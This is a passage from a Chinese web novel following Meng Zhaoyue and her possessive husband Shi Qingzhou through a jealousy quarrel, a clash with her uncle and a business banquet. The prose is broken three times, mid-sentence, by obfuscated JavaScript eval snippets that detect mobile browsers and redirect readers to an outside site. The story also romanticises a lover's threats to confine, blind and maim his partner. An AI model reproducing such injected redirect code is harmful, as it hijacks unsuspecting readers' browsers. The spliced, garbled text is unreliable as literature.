就在这时,一个穿着黄色外卖服的小哥骑着电瓶车停在了她面前。 “您好,请问是孟昭月小姐吗?” 孟昭月愣了一下,点了点头。 “您的花,请签收。”外卖小哥从车后座的保温箱里,抱出了一大束包装精美的红玫瑰。 娇艳欲滴的花瓣上还带着晶莹的水珠,浓郁的香气扑面而来。 是阿卿送的? 这是孟昭月的第一反应。 她接过那束比脸还大的玫瑰花,开心地签了字。 “谢谢你!”她对着外卖小哥露出了一个灿烂的笑容。 外卖小哥被她的笑容晃得愣了一下,脸颊微红地挠了挠头,骑着车匆匆离开了。 孟昭月抱着那束巨大的玫瑰花,脸颊埋在馥郁的花香里,幸福地眯起了眼睛。 她转身,正准备找时卿舟贴贴,却看到法拉利的车门被推开,男人从车上走了下来。 他依旧穿着剪裁得体的黑色风衣,身形挺拔,脸上也带着她所熟悉的、温柔的笑容。 他迈开长腿,一步一步地,朝着她走来。 不知道为什么,孟昭月看着他脸上的笑容,心里却莫名地打了个突。 他走到她面前,停下脚步。 那双漂亮的桃花眼,目光从她脸上滑落,最终定格在她怀里那束鲜艳的红玫瑰上。 他脸上的笑意未减,眼底的温度却在以肉眼可见的速度迅速冷却,直至结成一片寒冰。 “时太太,”他开口,声音依旧温柔得能滴出水来。 “很喜欢这束花?” 孟昭月抱着花,下意识地点了点头。 随即又觉得不对劲。 她这才后知后觉,时卿舟要是给她送花,当面给就好了呀,干嘛叫外卖。 连忙摇了好几下脑袋。 时卿舟的笑意愈发温柔了。 孟昭月打了个寒颤,眨了眨眼,然后一把花塞到时卿舟怀里。 一脸乖巧:“说起来你可能不信,其实这是我买了送给你的。” 时卿舟抱着怀里的花,没有回答她的问题。 他只是伸出手,从那束娇艳的玫瑰花中,抽出了一张小小的卡片。 「赠可爱的小猫。J。」 孟昭月:“……” 玩球啦。 时卿舟把卡片丢回了花束里,一把抓过了孟昭月,然后带着她往车上走。 孟昭月在他身后跟得踉踉跄跄的。 姜玦看到两人过来,连忙小跑着上前,拉开了后座的车门。 时卿舟随手将那束玫瑰花连同那张碍眼的卡片,一起扔给了姜玦。 “烧了。” 说完他又强调了一遍。 “烧干净了。” 姜玦抱着那束无辜的玫瑰花,看着自家少爷把少夫人塞进车里,然后少爷也跟着坐了进去。 “砰”的一声,车门关上,整个过程行云流水。 姜玦默默把花放好,准备回去后马上烧了,他上车后第一件事就是把隔板升起来。 车内的气氛压抑得可怕。 孟昭月揉着自己被捏红的手腕,偷偷地用眼角的余光去瞟身边的男人。 他靠在椅背上,侧脸的线条紧绷着,那双总是含着温柔笑意的桃花眼此刻半垂着,长长的睫毛在眼下投下一小片阴影,遮住了眼底所有的情绪。 但他周身散发出的那股低气压,几乎要将整个车厢的空气都给抽干。 哦豁,气得不轻。 她清了清嗓子,决定主动坦白。 “那个……阿卿。”她小心翼翼地伸出手指,戳了戳他的手臂。 “我,我以为是你送的才收的嘛……” 男人没有反应。 “那个……今天公司来了个合作方,国商行的行长,叫江淮安。”她如实招来。 时卿舟抬眉看向孟昭月。 “他一直缠着我。”孟昭月撇了撇嘴,声音里带上了几分委屈。 “我明明都跟他说我已经结婚了,他还说什么结婚了也可以离婚,让我考虑考虑他。” 她越说越气,忍不住开始告状:“他还对我动手动脚的!握手的时候偷偷挠我手心!” 车厢里的温度,仿佛在这一刻骤然下降了好几度。 孟昭月感觉自己的脖子后面凉飕飕的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720652|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呵,出息了。”时卿舟冷笑。 “挖墙脚的,都敢舞到我面前来了。” 孟昭月看着他这副样子,莫名的,就不委屈了。 非但不委屈,还有点跃跃欲试。 她悄悄地,一点一点地,朝着他的方向挪了过去,像只偷腥得逞的小猫。 “阿卿……”她凑到他耳边,声音又软又黏,“你吃醋啦?” 时卿舟没有回答,只那双桃花眼的目光,落在了她身上。 孟昭月又沉又浓的目光瞧得一僵,随后更兴奋了。 她喜欢看他为自己疯狂,为自己失控的样子。 她手指不安分地在他的手臂上打圈。 “可是怎么办呢。”她的声音里满是无辜。 “谁让你老婆这么棒,总是会有些不长眼的苍蝇凑上来嘛。” 她歪了歪头,那双水汪汪的杏眼眨了眨,故意气他。 “老公要是不把我看得紧一点,说不定哪天,我真的就被人拐跑了哦。” 然后她就看到时卿舟勾起了惯常的温柔笑容。 只是那笑容怎么看,怎么叫人胆寒。 “时太太,你说得对。” 他慢慢压迫向她。 孟昭月能闻到对方浓稠的甜腻气息,像是要把空气都填满一般。 她下意识地咽了咽口水:“所,所以嘛……” “所以……”时卿舟的话斯条慢理。 …… 当车停下来后,时卿舟慢慢帮孟昭月理着大衣的领子。 孟昭月眼角泛起委屈的泪花,嘴唇有些肿了,可怜兮兮地看着他,看起来被欺负得狠了。 “错没错?”时卿舟的声音依旧温和。 “……错了。”孟昭月小声地求饶,声音里带着浓重的鼻音。 “错哪了?” “不……不该乱收别人的东西……” “还有呢?” “不该……不该气你……” “还有。” “……不该说被人拐跑之类的话。” “乖。”时卿舟终于满意地笑了,他伸手,用指腹轻轻擦去她眼角的泪水。 最后他亲了亲孟昭月的额头,然后带着她下了车。 孟昭月乖乖跟着时卿舟。 他们进了一家看起来就价格不菲的高档法餐餐厅。 灯光柔和,环境优美。 侍者领着他们来到一个靠窗的位置坐下,然后递上了两本装帧精美的菜单。 孟昭月翻开菜单,瞬间就傻眼了。 菜单一半是英文,一半是法文,就是没有一个汉字。 她感觉自己像个文盲。 时卿舟看着她那副可爱模样,唇角勾起一个愉悦的弧度,却没有出声提醒。 孟昭月纠结了半天,本着不懂就问的原则,想向服务员求助,却又觉得有点丢脸。 最后,她心一横,眼一闭,伸出纤细的手指,在菜单上随手一点。 “就要这个吧。”她的声音软软糯糯。 一旁的服务员看到她指的位置,表情出现了一瞬间的凝滞。 “小姐,这个是……” 一首钢琴曲的名字。 时卿舟却在这时抬起眼,淡淡地瞥了他一眼。 服务员的后背瞬间窜上一股凉意,到了嘴边的话又被他硬生生地咽了回去。 “好的,女士。”他立刻恢复了那副恭敬的态度 时卿舟合上菜单,随意地报了几个菜名,从前菜、主菜到甜点,一气呵成。 “再加一份这个。”他伸出修长的手指,点了点孟昭月刚刚指过的那个位置。 “我太太点的,也要。” “是,先生。”服务员连忙躬身,然后逃也似的离开了。 没过多久,一个穿着燕尾服的钢琴师走到了餐厅中央那架三角钢琴前,优雅地坐下。 悠扬的琴声,缓缓地在餐厅里响起。 “诶?”孟昭月有些新奇地看着那个方向,“还有人专门演奏的呀。” “嗯。”时卿舟没有说话,他只是支着下巴,目光温柔地看着她。 烛光在他漂亮的桃花眼里跳动,映出她小巧精致的脸庞。 他的妻子,怎么看都看不够。 孟昭月被他看得有些不好意思,只好转过头,假装好奇地打量着餐厅里的其他客人。 她的目光在餐厅里扫了一圈,最终,在不远处的一个角落,停住了。 远处正在用餐的一对男女。 男人身形高大,侧脸的线条冷硬,女人气质温婉。 那不是……孟廷凛和孟婉凝吗?. 第91章 你为什么会喜欢我 看到熟人后,孟昭月犹豫了一下。 虽然对方是自己名义上的“长辈”,出于礼貌应该打个招呼。 但是她一点都不想和他们有什么牵扯。 想着孟昭月,没再管这两人,轻轻拨着桌子上的装品。 时卿舟自然也注意到了不远处的两人,既然孟昭月没什么反应,他也自然不会往自家妻子“追求”了两辈子的男人跟前凑。 …… 用餐结束,餐厅外飘着细雪。 孟昭月心情很好,脸颊因为餐厅里的暖气和微醺的红酒泛着好看的粉色。 时卿舟牵着她的手走出旋转门,冷冽的空气扑面而来,她下意识地缩了缩脖子。 男人立刻会意,松开她的手,转而揽住她纤细的腰,将她往自己怀里带了带,为她挡住大部分的寒风。 他的动作自然而然。 “冷吗?”他低下头,温热的呼吸拂过她的耳畔。 孟昭月看着时卿舟呼出的白气,仰起脸对他甜甜一笑,摇了摇头。 这时旋转门内,另一对男女走了出来。 女人穿着一身素雅的白色长款呢子大衣,气质温婉,她正亲昵地挽着身旁男人的手臂。 而男人,身形高大,面容冷峻。 是孟婉凝和孟廷凛。 四个人,在餐厅门口这条铺着薄雪的小径上,不期而遇。 躲都躲不掉啊。 孟昭月往时卿舟怀里缩了缩。 最先打破沉默的,是孟婉凝。 她脸上露出恰到好处的惊讶,随即化为温婉的笑意。 “昭月?时先生?真巧,你们也在这里用餐。”她的声音温婉动听,目光在两人紧紧相拥的姿态上停留了一瞬,随即若无其事地移开。 “姐姐,小叔,晚上好。”孟昭月乖巧地叫人。 “孟小姐,孟总。”时卿舟也跟着开口,脸上依旧是不变的温和笑容。 孟廷凛的目光,落在时卿舟揽着孟昭月腰的那只手上。 他眉头紧紧地蹙在一起:“你怎么又和时卿舟在一起了?” 他的声音低沉,带着长辈的质问口吻。 时卿舟脸上的笑容不变,他将怀里的人搂得更紧了些。 用一种宣告所有权的姿态,温和地回答:“我陪我的妻子来用餐,有什么问题吗,孟总?” 妻子? 这两个字,平地惊雷,在寂静的雪夜里炸开。 孟婉凝直接愣住了。 而孟廷凛的脸上,明显地出现了裂痕。 “你说什么?”他的声音冷得能结出冰来。 “我说,”时卿舟的语气依旧温和,甚至还带着几分愉悦的笑意。 “我和月月,已经领证结婚了。” “就在这几天。” 孟廷凛的脸色,彻底黑了下去。他周身的气压低得可怕,仿佛下一秒就要动手。 “胡闹!”他厉声喝道。 “离婚!”孟廷凛几乎是从牙缝里挤出这两个字,“明天就去给我办离婚手续!” 一直乖乖待在时卿舟怀里的孟昭月被他吼得一愣,随即心底也涌上一股委屈的火气。 凭什么呀? 她和他很熟吗? 他们才见过几次啊? “我不要。” 她撇了撇嘴:“而且,你凭什么管我呀?” 孟廷凛被她这句话问得一愣。 凭什么? 就凭他是她小叔! 他看着女孩那张倔强的小脸,一种说不清道不明的情绪在胸口蔓延开来。 有些闷,又有些烦躁。 他深吸了一口气,压下心头那股莫名的情绪,沉着声音:“凭我是你的长辈,你的小叔。” “可是我的爸爸妈妈都没有反对呀。”孟昭月不服气地小声地反驳。 “他们现在不是你的父母!”孟廷凛的声音更重了。 “你现在是孟家的女儿!” “你的婚事,就必须由孟家长辈做主!” 眼看两人就要彻底吵起来,一旁的孟婉凝连忙上前,柔声劝道。 “小叔,别生气,妹妹她也不是故意的。” 她用一种极其温柔和理解的目光看着孟昭月,声音放得更软了。 “妹妹,我知道,你从小在外面长大,一定吃了很多苦,身边也没有亲人疼爱。” “所以,当有一个人像时先生这样,对你百般呵护、温柔体贴的时候,你会依赖他,会觉得抓住了全世界,这是很正常的。” “姐姐能理解你这种……极度渴望被爱、渴望抓住一份温暖的心情。” 她的话像一把柔软的刀子,慢慢勾着孟昭月灵魂最深处的伤痕。 孟昭月下意识的抓紧了时卿舟的衣服。 孟廷凛听着孟婉凝的话,再看到时卿舟将孟昭月紧紧护在怀里的姿态,心里的烦躁愈发强烈。 他觉得那只搭在孟昭月腰间的手,碍眼到了极点。 他看向孟昭月,语气也变得严厉起来,带着几分恨铁不成钢的意味。 “孟昭月,你养父母没人教你自尊自爱吗?” “有人对你稍微温柔一点,你就迫不及待地把整个人都贴上去?” 他的声音越来越冷,话也越来越重。 “渴望被爱?你那是矫情!” “孟昭月,你能不能清醒一点?你是还没长大吗……” 他的话,戛然而止。 因为他看到了女孩的表情。 孟昭月一下子愣住了。 咦? 她刚刚好像听到了…… 很伤人的话。 女孩就那么呆呆地看着眼前的男人。 茫然无措。 还没反应过来自己被利刃刺穿了心脏。 那副样子,像一只被人丢弃在暴风雪里、找不到回家路的小动物,在黑夜中迷失。 时卿舟脸上的温柔笑意,在那一刻,彻底消失了。 他将孟昭月更紧地、更用力地搂进怀里,用自己的身体,为她隔绝开外界所有的恶意。 他低下头,看着怀里那个呆愣住小姑娘,心像是被一只无形的手狠狠攥住,疼得他快要无法呼吸 孟廷凛看着孟昭月那副样子,剩下的话全都堵在了喉咙里,一个字也说不出来。 一股强烈的懊悔,如同潮水般将他淹没。 他……他刚刚都说了些什么? 他只是想让她清醒一点,不想让她被时卿舟这种人骗了,怎么会……说出这么重的话? 他不是这个意思…… 他只是……只是太生气了…… “昭月,我……” 他下意识地伸出手,想要去碰碰她,想要说些什么来弥补。 然而,他的手刚伸到一半,就被另一只手狠狠地打开了! “啪!” 清脆的响声在寂静的夜里格外清晰。 是时卿舟。 他的脸上再也没有了那副温和的面具,取而代之的,是一种令人遍体生寒的阴鸷和疯狂。 “孟廷凛。” 他看着他,一字一句的。 “你当老子是死的吗?” 孟廷凛一愣,随后脸色沉了下去:“时卿舟。” 似乎是感觉到怀里的女孩状态不是很好,时卿舟将孟昭月抱得更紧了一些。 现在不是和这两垃圾浪费时间的时候。 得先带月月离开。 时卿舟看着他,眼中的寒意刺骨:“孟廷凛,我话放这里,我必弄死你。” 哪怕被那劳什子的“规则”限制,他也一定会让这两个杂碎付出代价。 他抱起了孟昭月,然后转身离开。 孟廷凛就那么僵在原地。 眼睁睁地看着那道纤细的身影被另一个男人抱走,消失在风雪弥漫的夜色里。 心脏的位置,像是被人硬生生挖走了一块。 空荡荡的,冷风呼啸着灌进去,带来一阵阵抽痛。 为什么? 他明明才见过她几面,为什么会这么难受? 这种感觉…… 就好像曾经在无尽的悔恨中苦苦乞求,才好不容易得到了一次重新来过的机会。 却又被他亲手搞砸了。 他没控制住自己。 他看到时卿舟抱着她,那种属于他的女孩即将被别的男人永远带走的恐慌和急躁,让他口不择言。 现在,她真的被带走了。 孟廷凛感觉自己的呼吸都变得困难起来,胸口闷得发慌。 “小叔,别生气了。” 孟婉凝看着孟廷凛怔愣的神色,又看了一眼孟昭月离去的方向,心底涌上一股不安。 她将孟廷凛的手臂挽得更紧了一些。 却依旧姿态端庄大度,声音也是一贯的温柔懂事。 “妹妹不像我,她从小在外面长大,没人教导,不懂事也是难免的。” “您别跟她一般见识,气坏了身子。” 孟廷凛却像是没听到她的话一样,他烦躁地揉了揉眉心,抽回了自己的手臂。 “回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16731108|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去吧。”他丢下这句话,便不再看她,一个人迈开长腿,径直走向了停车场,将孟婉凝独自一人留在了原地。 孟婉凝脸上的温柔表情凝固了。 雪花落在她精心打理过的发梢,带来一片冰凉。 怎么会这样? 小叔从小到大,都是最宠她的,时时刻刻都照顾着她的情绪。 更别说像现在这样,把她一个人丢在风雪里。 【宿主,不必担心。】 系统的声音适时地在她脑海里响起。 【根据数据显示,男主角孟廷凛对您的好感度并未发生变化。】 【你们是官方CP,是天造地设的一对。】 听到系统的安慰,孟婉凝紧绷的神经才稍稍松懈了一些。 【您是独立、清醒、永远光芒万丈的大女主。】 系统的声音继续响起。 【而孟昭月,只是一个阴暗、缺爱、嫉妒您的女配角,她的存在,就是为了衬托您的美好。】 孟婉凝的唇角重新勾起自信的弧度:“那……时卿舟呢?” 【疯子。】系统给出了一个简单直接的定义。 “疯子又怎么样?”孟婉凝不以为意地轻笑一声,“最后还不是会爱上我,成为我的裙下之臣。” 【……】 系统沉默了。 【经资料库检索,反派角色时卿舟,在原著剧情中,谁都不爱。】 孟婉凝脸上的笑容僵住了:“你说什么?你给我传输的原著里,不是明明白白写着,我是他的救赎,他对我爱而不得吗?” 正在进行数据溯源…… 信息来源:炮灰女配逆袭系统数据库。 信息性质:由炮灰女配逆袭系统根据任务目标,自行编纂添加的虚假剧情。 其目的,是为了让其宿主孟昭月彻底放弃攻略反派,转而去攻略男主角。 类似的虚假信息,还包括不断向其宿主孟昭月强调反派与女主的命定适配性以洗脑女配退出、前后逻辑矛盾地捧高女主以恐吓女配抢不过女主而放弃反派,以增加任务成功率。 系统查询完毕后,回复 【经查询该部分剧情,并非原著内容。】 系统重新扫描了一遍删除错误数据后的原著,沉默了片刻,继续道 【建议宿主,尽量避开反派时卿舟。】 【根据数据显示,目前反派因为女配孟昭月的存在,其行为逻辑尚在可控范围内。】 【如果像‘原著’中那样没有女配的干预……】 【他……是一个纯粹的,没有任何人性逻辑可言的恶魔和疯子。】 …… 车内,暖气开得很足,却驱不散那份压抑的沉默。 时卿舟一上车,就将孟昭月紧紧地、用力地抱进了怀里。 一路上,孟昭月什么都没说,只是安安静静地靠在他的胸膛上,听着他沉稳有力的心跳,感受着他身上传来的令人安心的温度。 直到法拉利平稳地驶入花禾公寓的地下车库,她才终于动了动。 回到公寓,玄关的灯光柔和地亮起。 时卿舟刚关上门,怀里的人就突然开口了。 “阿卿。” 她的声音很轻 “我很矫情吗?” 时卿舟的心,像是被烫了一下,疼得他呼吸一窒。 他没有立刻回答,而是捧起她的小脸,低下头,用一种近乎虔诚的姿态,轻轻地落下吻。 他的吻很轻,很温柔,带着安抚的意味。 一点一点地,从她的眼角,滑至鼻尖,最后落在了她微微颤抖的唇瓣上。 他没有深入,只是用唇瓣轻轻地厮磨着。 “不。” “我的月月,一点都不矫情。” 他抵着她的额头,那双深邃的桃花眼里,翻涌着浓稠的、病态的痴迷。 “你是这个世界上,最乖,最可爱,最值得被爱的人。” 你不知道,有多少人在肮脏的觊觎你。 孟昭月那双干净的杏眼看着他。 “可是……” “你为什么会喜欢我呢?” 她问出了那个盘桓在心底最深处的问题。 她不明白。 她缺爱,孤独,内心阴暗,一点都不好。 他为什么会喜欢她? 时卿舟听到这个问题,愣住了。 为什么? 这个问题,像一把钥匙。 打开了他灵魂最深处的、那个被锁死的、黑暗的房间。 第92章 病名为爱 他看着她,那双漂亮的桃花眼里,温柔褪去。 取而而代之的,是浓稠到化不开的、病态的痴迷。 他想起了第一次见到孟昭月的情景。 只是在经金局的财经新闻画面上,一闪而过女孩的画面。 他看到了。 然后就像灵魂的烙印一样,刻在他的心脏上。 原本,他的世界只有黑暗、鲜血、混乱和疯狂。 在看到她的那一刻,杂糅着鲜血和疯狂的混沌的大脑,在一瞬间清醒。 从此只剩下三个字。 孟昭月。 “喜欢?” 他重复着这个词,唇角勾起一个诡异而美丽的弧度。 “月月……我的月月呐……” 他捧起她的脸,额头抵着她的额头,强迫她看着自己眼中的疯狂风暴。 “你是我的心脏,我的呼吸,我的骨骼,是我之所以为‘我’的全部构造。” 没有她,他只是一个淹没在时家这个囚牢的泥潭里的一个烂人。 因为她,他才能感受到原来他是存在的,是鲜活的。 鲜活的,然后爱着她。 “你是我赖以生存的养分。” “是我的神明。” “我的一切。” 他紧紧抱住了她,将脸埋在她的颈窝,发出压抑的、破碎的喟叹。 “有时候我真想……把你关起来。” “关在一个只有我能看到的地方,用最坚固的锁链锁住你的手脚,让你哪里都去不了,每天只能看着我,只能对我笑,只能对我哭。” “或者……干脆挖掉你的眼睛,让你再也看不到这个肮脏的世界,你的世界里就只剩下我一个人的声音。” “再或者……打断你的腿,让你再也不能从我身边逃开,只能像只美丽的人偶一样,永远地留在我怀里。” “我爱你啊,孟昭月。” “爱到……疯狂。” “没有你,我会疯的。”他第二次这样告诉她。 时卿舟慢慢抬起头,然后看着怀里的女孩。 女孩似乎被他的话吓到了,那双干净的杏眼此刻写满了不可置信,呆呆地看着他,身体因为恐惧还在轻微地颤抖。 像一只被恶魔的獠牙吓到的小鹿。 多可爱。 他痴迷病态的一下一下的摸着她的脸颊。 “害怕吗?” “乖乖,没事的。” “你逃不掉的,你是我的,永远都是。” 孟昭月呆呆地看着延眼前这个近乎疯狂的男人。 她的心脏在一下、一下地跳着。 兴奋。 兴奋到发抖。 她只觉得自己整个像是被胀开一样,被滚烫的爱意充斥。 好幸福。 被这样爱着……真的好幸福。 她不需要正常的爱。 她需要的,就是这个。 被爱意包围着、浸泡着,然后心甘情愿地,彻底溺亡其中。 她伸出手,回抱住他,脸上露出了一个满足而甜蜜的笑容。 “不害怕哦,时卿舟。” “我很开心。” 时卿舟愣住了。 她甜甜道:“请继续这样,爱着我,直到……世界末日。” 时卿舟看着她,呼吸顿时变得重了。 “哈啊……” 他那双漂亮的桃花眼里瞳孔彻底扩散开。 他猛地抱住孟昭月,大口大口地吸着她身上独有的香味。 “月月……月月……我的月月……” “你简直是要杀死我了……” 孟昭月感受着男人灼热的呼吸洒在她的肌肤上,她像只餍足的小猫,微微眯起那双杏眼。 “可以吗?”她软软地问。 然后是男人颤抖而沙哑的声音:“当然……” “时卿舟爱着孟昭月,直到世界末日。” “我也爱时卿舟到世界末日。” “月月……” …… 第二天,孟昭月准时踏入星瀚科技的办公室。 只是她刚一出现,原本还算安静的办公室,顿时响起了窃窃私语声。 孟昭月没有理会那些目光,径直走向自己的工位。 然后,她停住了脚步。 一大捧娇艳欲滴的红玫瑰,几乎占据了整个桌面。 旁边还放着一个墨绿色的礼盒,上面印Gucci的经典标志。 她打开礼盒,里面静静地躺着一只当季新款的Jackie手袋。 孟昭月面无表情地拿起那束花,指尖在花瓣间翻找了一下,果然抽出一张卡片。 「今日赠礼,希望你喜欢。J。」 孟昭月:“……” 怎么又是这家伙。 烦人。 “哟,这又是哪个野男人送的?” “孟昭月,你可真有本事啊,这才来几天,就又钓上哪个老总了?” 一个酸溜溜的女声响起。 是坐在孟昭月斜对面的一个女同事,她看到那自己舍不得买包,没忍住酸了起来。 苏晓闻言眸色一冷,正准备起身,就看到孟昭月动了。 她抱着那束花和那个Gucci礼盒,径直走到了那个同事的工位前。 同事被她这突如其来的举动弄得一愣,下意识地向后靠了靠:“你……你想干什么?” 孟昭月脸上露出了一个甜美乖巧的笑容,看起来毫无攻击性。 她将怀里的东西,一股脑地塞进了同事的怀里。 同事下意识地接过那些东西。 她大脑有片刻的空白:“你什么意思?” 孟昭月无辜地眨了眨眼:“扔垃圾。” 同事看着怀里那只她垂涎已久、省吃俭用大半年都舍不得买的Jackie,又看了看孟昭月那张纯良无害的脸,更加迷糊了。 “你扔给**嘛?我又不是垃圾桶……”她下意识地反驳。 然后才后知后觉地反应过来:“你骂我是垃圾桶?!” “噗嗤——”周围同事没忍住低笑了几声。 其中苏晓笑得最大声:“哟,这不是挺有自知之明的嘛。” 办公室里笑声更大了。 同事的脸“轰”的一下,瞬间涨成了猪肝色。 “孟昭月!”她猛地站起身,作势就要发作。 “够了!”一道干练的女声及时制止了这场即将爆发的闹剧。 许蔓踩着高跟鞋走了过来,她皱眉看了一眼周围,然后挡在孟昭月前面,语气里带着几分维护的意味。 “工作时间大吵大闹,成何体统?” “昭月刚回来,很多事情还不熟悉,你不帮忙就算了,还在这里欺负同事?” 她说完,便不再理会脸色青一阵白一阵的那个女同事,亲昵地挽住了孟昭月的手臂。 “昭月,别跟这种人一般见识。” “走,副总找你有点事,我带你过去。” 同事站在原地,看着被许蔓带走的孟昭月,又看了看只沾了些灰尘的Gucci手袋,一时间进退两难。 扔了?这可是她做梦都想要的包。 不扔?那不就等于承认了自己就是捡孟昭月不要的垃圾吗? 至于放回孟昭月的工位上,这个念头压根就没在她被愤怒和嫉妒冲昏的头脑里出现过。 孟昭月被许蔓一路带出了办公室。 她有些疑惑地问:“许蔓姐,副总找我有什么事呀?” “好事。”许蔓对她眨了眨眼,脸上的笑容热情又神秘。 “晚上有个酒局,都是些重要客户。” “副总特地交代了,让我带你去见见世面,多认识些人脉。” 其实是许蔓特地举荐的孟昭月。 两人说话间,已经走到了电梯口。 不远处苏晓,将两人的对话听得一清二楚。 她看着两人离去的背影,眼神冷了下来。 她不动声色地拿起手机,迅速地发出了一条信息。 …… 夜幕降临,华灯初上。 京江市最顶级的私人会所。 包间的门被推开。 孟昭月一走进去,就看到了几个熟悉的面孔。 江淮安正端着一杯红酒,与一个大腹便便的中年男人谈笑风生。 还有一个年轻的女人,穿着一身得体的白色小礼服,端庄地坐在沙发上,时不时回应着谄媚的星瀚的副总。 是孟婉凝。 孟昭月有些诧异会在这里遇见她。 看到她们进来,副总立刻满脸堆笑地迎了上来。 “哎呀,小许,昭月,你们可算来了!快来快来,我给你们介绍一下。” 一番寒暄中。 江淮安满是暗示意味地对着孟昭月举了举酒杯。 而孟婉凝温婉的笑容中带着审视,对于昨天夜里发生的事情没有丝毫反应。 许蔓拉着孟昭月坐下,在她耳边小声地提醒。 “别紧张,就当是来锻炼了。”她的声音压得很低。 “对了,等会儿寰宇工业的大客户也要来,你好好表现。” 寰宇工业? 那不是阿卿的公司吗? 孟昭月乖巧地点了点头。 寒暄过后,酒过三巡。 孟婉凝轻轻晃着手中的红酒杯,向许蔓递过去一个眼神。 许蔓立刻会意,她叹了口气,脸上露出几分恰到好处的忧愁。 “说起来,孟小姐,最近我们公司有几个核心的芯片专利,被提文化审查了,但一直没什么进展。” 她看向孟婉凝,语气恭敬:“您看……您能不能跟孟会长提一提,让审查的进度……稍微加快一些?” 孟婉凝放下酒杯,姿态端庄,声音温婉:“许小姐,你这就为难我了。” “我父亲向来公私分明,这种事情,我怎么好开口呢?” 她顿了顿,目光若有似无地飘向了安安静**在角落里的孟昭月。 “不过嘛……事在人为。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看了一眼,是一条短信。 「孟婉凝你那边到底行不行?这么久了怎么还没动静?」 孟婉凝看完短信,神色没有变化,她优雅地熄灭了手机屏幕。 站起身,对着众人歉意地笑了笑:“抱歉,我家里还有点急事,就先失陪了。” 副总连忙起身相送:“孟小姐慢走,您慢走。” 孟婉凝离开后,包间里的气氛有片刻的凝滞。 江淮安将喝完的空杯放到了桌子上,然后将目光重新落回了孟昭月身上。 他朝着孟昭月的方向挪了挪,身体几乎要贴上她。 “孟小姐,”他声音压低,带着黏腻的暧昧,“刚刚那杯酒,喝得太急,现在有些上头。” 孟昭月默默地往旁边挪开了一些距离,脸上依旧是乖巧的笑容:“江行长酒量不太好。” 副总见状,立刻明白了江淮安的心思,他眼珠一转,也端起酒杯凑了过来。 就在这时,包间的门被服务生推开。 一个身形挺拔的男人走了进来。 副总看着门口那个男人,愣了几秒,随即脸上立刻堆起了更加谄媚热情的笑容,几乎是小跑着迎了上去。 “哎呀!这不是时少爷吗?什么风把您给吹来了!” 包间里其他人听到“时少爷”三个字,也都立刻站了起来。 只因为两个字,时家。 时卿舟脸上挂着温和的笑意,对着副总点了点头,算是打过招呼。 他的目光越过所有人,直接落在了沙发角落里的女孩身上。 孟昭月乖巧地对他眨了眨眼睛。 时卿舟的唇角勾起一个很浅的弧度。 他在副总的引领下,坐到了主位。 江淮安看着他,微微眯起了那双狐狸眼。 很快时卿舟就成了所有人巴结的中心。 副总见自己也插不进话,便把注意打到了江淮安身上。 他对着还坐在原地的孟昭月使眼色。 “小孟,还愣着干什么?快过来!” “江行长刚刚替你喝了那么多酒,你不得好好感谢一下?” “去,到江行长身边坐下,给江行长把酒倒上!” 孟昭月下意识地看向江淮安。 江淮安轻轻敲了敲空酒杯,唇角勾起一个势在必得的笑容。 孟昭月正想着该怎么拒绝,一道温和的声音突然在包间里响起。 “不必了。” 是时卿舟。 包间内瞬间静了下来。 他靠在椅背上,修长的手指轻轻敲击着桌面,目光依旧落在孟昭月身上。 “让她过来,陪我。” 第93章 带月月看时卿舟的收藏室 包间内的空气,在那一瞬间凝固了。 所有人的目光都聚焦在时卿舟身上。 副总脸上的谄媚笑容僵住了。 他看看江淮安,又看看时卿舟,大脑飞速运转。 什么情况? 时少爷这是……也看上他们公司这个小职员了? 其他几个客户也是面面相觑,眼神里充满了探究和玩味。 时家这位爷,他们多多少少有点耳闻。 也算豪门圈里少有的洁身自好的。 为了巴结他,性感的、知性的、可爱的等等,男的、女的、人妖的都往他床上送过。 全都…… 以至于有传言说他不行的,毕竟时家那几个少爷小姐也都是情人有好几个。 比如最受宠的十六小姐,莉莉小姐,可是字母圈里有名的会玩的。 大家都没想到时卿舟会这么直接,当着这么多人的面,直接开口要人。 会玩,还是时少会玩。 副总反应过来后,立刻喜笑颜开,刚开口打算让孟昭月过去陪这位大金主的。 没想到,那个一直安安静**在角落里的女孩,动了。 孟昭月“唰”地站起身,在众人错愕的注视下,迈开步子,径直走向了主位上的那个男人。 没有丝毫犹豫。 她的动作自然而然,甚至带着几分雀跃。 像一只找到了主人的小猫,屁颠屁颠地凑了过去。 副总的眼珠子都快瞪出来了。 啊?这么主动的吗? 这丫头……开窍了? 孟昭月在时卿舟旁边坐下来,身体还顺势往他那边靠了靠。 时卿舟的唇角勾起一个满足的弧度,手臂一伸,理所当然地揽住了她纤细的腰,将她往自己怀里带了带。 孟昭月拿起桌上的茅台酒瓶,动作乖巧地为时卿舟面前的空杯倒酒。 酒液很快就注满了整个杯子。 甚至因为倒得太满,微微漾出了杯沿。 